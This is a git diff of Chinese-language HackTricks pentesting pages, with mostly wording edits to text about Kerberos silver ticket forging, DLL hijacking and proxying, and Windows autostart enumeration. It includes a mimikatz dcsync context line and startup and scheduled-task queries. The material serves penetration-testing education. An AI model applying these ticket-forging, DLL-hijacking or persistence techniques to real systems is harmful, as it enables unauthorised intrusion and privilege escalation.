<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得最新版本的PEASS或下载PDF格式的HackTricks吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在**网络安全公司**工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得最新版本的PEASS或下载PDF格式的HackTricks吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
|
|
|
@ -2,17 +2,17 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 上看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方 PEASS 和 HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||||
|
|
||||||
|
@ -22,9 +22,9 @@
|
||||||
|
|
||||||
银票攻击是基于**在拥有服务的 NTLM 哈希(如 PC 账户哈希)的情况下,构造一个有效的 TGS**。因此,可以通过伪造自定义 TGS **以任何用户的身份**获得对该服务的访问权限。
|
银票攻击是基于**在拥有服务的 NTLM 哈希(如 PC 账户哈希)的情况下,构造一个有效的 TGS**。因此,可以通过伪造自定义 TGS **以任何用户的身份**获得对该服务的访问权限。
|
||||||
|
|
||||||
在这种情况下,拥有了一个计算机账户的 NTLM **哈希**(在 AD 中类似于用户账户)。因此,可以通过 SMB 服务**伪造**一个**票据**,以管理员权限**进入该计算机**。计算机账户默认每30天重置密码。
|
在这种情况下,拥有了一个计算机账户的 NTLM **哈希**(在 AD 中类似于用户账户)。因此,可以通过 SMB 服务**伪造**一个**票据**,以**管理员**权限进入该计算机。计算机账户默认每30天重置密码。
|
||||||
|
|
||||||
还必须考虑到可以使用 AES Kerberos 密钥(AES128 和 AES256)**伪造票据**,这是**可能且更好的**(opsec)。要了解如何生成 AES 密钥,请阅读:[MS-KILE 的第4.4节](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) 或 [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372)。
|
还必须考虑到可以使用 AES Kerberos 密钥(AES128 和 AES256)**伪造票据是可能的和更好的**(opsec)。要了解如何生成 AES 密钥,请阅读:[MS-KILE 的第4.4节](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) 或 [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372)。
|
||||||
|
|
||||||
{% code title="Linux" %}
|
{% code title="Linux" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -158,7 +158,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
|
||||||
[dcsync.md](dcsync.md)
|
[dcsync.md](dcsync.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
如果您对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||||
|
|
||||||
|
|
|
@ -12,7 +12,7 @@
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||||
|
|
||||||
|
@ -20,9 +20,9 @@
|
||||||
|
|
||||||
## 定义
|
## 定义
|
||||||
|
|
||||||
首先,让我们先了解一下定义。DLL劫持是指**欺骗一个合法/可信的应用程序加载任意DLL**。术语如_DLL搜索顺序劫持_、_DLL加载顺序劫持_、_DLL欺骗_、_DLL注入_和_DLL侧加载_经常被错误地用来表示相同的意思。
|
首先,让我们先了解一下定义。DLL劫持在最广义上是指**欺骗一个合法/可信任的应用程序加载任意DLL**。术语如_DLL搜索顺序劫持_、_DLL加载顺序劫持_、_DLL欺骗_、_DLL注入_和_DLL侧加载_经常被错误地用来表示相同的意思。
|
||||||
|
|
||||||
DLL劫持可以用于**执行**代码、获取**持久性**和**提升权限**。在这三种情况中,**最不可能**发现的是**提升权限**。然而,由于这是特权提升部分的一部分,我将重点介绍这个选项。此外,无论目标是什么,DLL劫持的执行方式都是相同的。
|
DLL劫持可以用于**执行**代码、获取**持久性**和**提升权限**。在这三种情况中,**最不可能**发现的是**提升权限**。然而,由于这是权限提升部分的一部分,我将重点介绍这个选项。此外,无论目标是什么,DLL劫持的执行方式都是相同的。
|
||||||
|
|
||||||
### 类型
|
### 类型
|
||||||
|
|
||||||
|
@ -33,7 +33,7 @@ DLL劫持可以用于**执行**代码、获取**持久性**和**提升权限**
|
||||||
3. **幻影DLL劫持**:在合法应用程序尝试加载的缺失/不存在的DLL位置放置恶意DLL\[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)]。
|
3. **幻影DLL劫持**:在合法应用程序尝试加载的缺失/不存在的DLL位置放置恶意DLL\[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)]。
|
||||||
4. **DLL重定向**:更改DLL的搜索位置,例如通过编辑`%PATH%`环境变量或`.exe.manifest` / `.exe.local`文件以包含包含恶意DLL的文件夹\[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)]。
|
4. **DLL重定向**:更改DLL的搜索位置,例如通过编辑`%PATH%`环境变量或`.exe.manifest` / `.exe.local`文件以包含包含恶意DLL的文件夹\[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)]。
|
||||||
5. **WinSxS DLL替换**:在目标DLL的相关WinSxS文件夹中用恶意DLL替换合法DLL。通常称为DLL侧加载\[[7](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf)]。
|
5. **WinSxS DLL替换**:在目标DLL的相关WinSxS文件夹中用恶意DLL替换合法DLL。通常称为DLL侧加载\[[7](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf)]。
|
||||||
6. **相对路径DLL劫持**:将合法应用程序复制(并可选择重命名)到用户可写入的文件夹中,与恶意DLL放在一起。在使用方式上,它与(签名的)二进制代理执行\[[8](https://attack.mitre.org/techniques/T1218/)]有相似之处。这种方法的变体有点自相矛盾,被称为“_bring your own LOLbin_”\[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)],其中合法应用程序与恶意DLL一起提供(而不是从受害者机器上的合法位置复制)。
|
6. **相对路径DLL劫持**:将合法应用程序复制(并可选地重命名)到用户可写入的文件夹中,与恶意DLL放在一起。在使用方式上,它与(签名的)二进制代理执行\[[8](https://attack.mitre.org/techniques/T1218/)]有相似之处。这种方法的变体有点自相矛盾,被称为“_bring your own LOLbin_”\[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)],其中合法应用程序与恶意DLL一起提供(而不是从受害者机器上的合法位置复制)。
|
||||||
|
|
||||||
## 查找缺失的DLL
|
## 查找缺失的DLL
|
||||||
|
|
||||||
|
@ -115,18 +115,18 @@ dumpbin /export /path/file.dll
|
||||||
### 自动化工具
|
### 自动化工具
|
||||||
|
|
||||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)将检查您是否具有对系统路径中任何文件夹的写入权限。\
|
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)将检查您是否具有对系统路径中任何文件夹的写入权限。\
|
||||||
其他有趣的自动化工具用于发现此漏洞的是**PowerSploit函数**:_Find-ProcessDLLHijack_,_Find-PathDLLHijack_和_Write-HijackDll_。
|
其他有趣的自动化工具来发现此漏洞是**PowerSploit函数**:_Find-ProcessDLLHijack_,_Find-PathDLLHijack_和_Write-HijackDll_。
|
||||||
|
|
||||||
### 示例
|
### 示例
|
||||||
|
|
||||||
如果您找到了一个可利用的场景,成功利用它的最重要的事情之一将是**创建一个导出至少包含可执行文件从中导入的所有函数的dll**。无论如何,注意Dll劫持在从中间完整性级别升级到高级(绕过UAC)或从高级升级到SYSTEM方面非常方便。您可以在此dll劫持研究中找到一个创建有效dll的示例,重点是dll劫持执行:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
如果您找到了一个可利用的场景,成功利用它的最重要的事情之一将是**创建一个导出至少所有可执行文件将从中导入的函数的dll**。无论如何,注意Dll劫持在从中间完整性级别升级到高级(绕过UAC)或从高级完整性升级到SYSTEM方面非常方便。您可以在此dll劫持研究中找到一个创建有效dll的示例,重点是用于执行的dll劫持:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||||
此外,在下一节中,您可以找到一些可能有用作模板或创建具有非必需导出函数的dll的基本dll代码。
|
此外,在下一节中,您可以找到一些可能有用作模板或创建具有非必需导出函数的dll的基本dll代码。
|
||||||
|
|
||||||
## **创建和编译Dlls**
|
## **创建和编译Dlls**
|
||||||
|
|
||||||
### **Dll代理化**
|
### **Dll代理化**
|
||||||
|
|
||||||
基本上,**Dll代理**是一种能够在加载时执行恶意代码的Dll,但也能够通过**将所有调用传递给真实库**来**公开**和**工作**。
|
基本上,**Dll代理**是一种能够在加载时执行恶意代码的Dll,但也能够通过将所有调用传递给真实库来作为预期的方式**公开**和**工作**。
|
||||||
|
|
||||||
使用工具\*\*\*\*[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)\*\*\*\*或\*\*\*\*[**Spartacus**](https://github.com/Accenture/Spartacus)\*\*\*\*,您实际上可以**指定一个可执行文件并选择要代理化的库**,然后**生成一个代理化的dll**,或者**指定Dll并生成一个代理化的dll**。
|
使用工具\*\*\*\*[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)\*\*\*\*或\*\*\*\*[**Spartacus**](https://github.com/Accenture/Spartacus)\*\*\*\*,您实际上可以**指定一个可执行文件并选择要代理化的库**,然后**生成一个代理化的dll**,或者**指定Dll并生成一个代理化的dll**。
|
||||||
|
|
||||||
|
@ -227,7 +227,7 @@ break;
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
如果你对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||||
|
|
||||||
|
|
|
@ -5,29 +5,29 @@
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的系统-**我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
## WMIC
|
## WMIC
|
||||||
|
|
||||||
**Wmic**可以用来在**启动时**运行程序。使用以下命令查看在启动时运行的二进制文件:
|
可以使用**Wmic**在**启动时**运行程序。查看在启动时运行的二进制文件:
|
||||||
```bash
|
```bash
|
||||||
wmic startup get caption,command 2>nul & ^
|
wmic startup get caption,command 2>nul & ^
|
||||||
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
|
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
|
||||||
```
|
```
|
||||||
## 定时任务
|
## 定时任务
|
||||||
|
|
||||||
**任务**可以按照**特定频率**进行调度运行。使用以下命令查看已安排运行的二进制文件:
|
**任务**可以按照**特定频率**进行调度运行。查看已安排运行的二进制文件:
|
||||||
```bash
|
```bash
|
||||||
schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
|
schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
|
||||||
schtasks /query /fo LIST 2>nul | findstr TaskName
|
schtasks /query /fo LIST 2>nul | findstr TaskName
|
||||||
|
@ -73,7 +73,7 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
|
||||||
|
|
||||||
Run 和 RunOnce 注册表键会导致程序在每次用户登录时运行。键的数据值是一条不超过 260 个字符的命令行。
|
Run 和 RunOnce 注册表键会导致程序在每次用户登录时运行。键的数据值是一条不超过 260 个字符的命令行。
|
||||||
|
|
||||||
**服务运行**(可以控制启动时自动启动的服务):
|
**服务运行**(可以控制启动时服务的自动启动):
|
||||||
|
|
||||||
* `HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
|
* `HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
|
||||||
* `HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
|
* `HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
|
||||||
|
@ -339,9 +339,9 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
|
||||||
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
|
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
|
||||||
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
|
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果您对**黑客职业**感兴趣并想要攻击不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
如果您对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -350,7 +350,7 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||||
|
|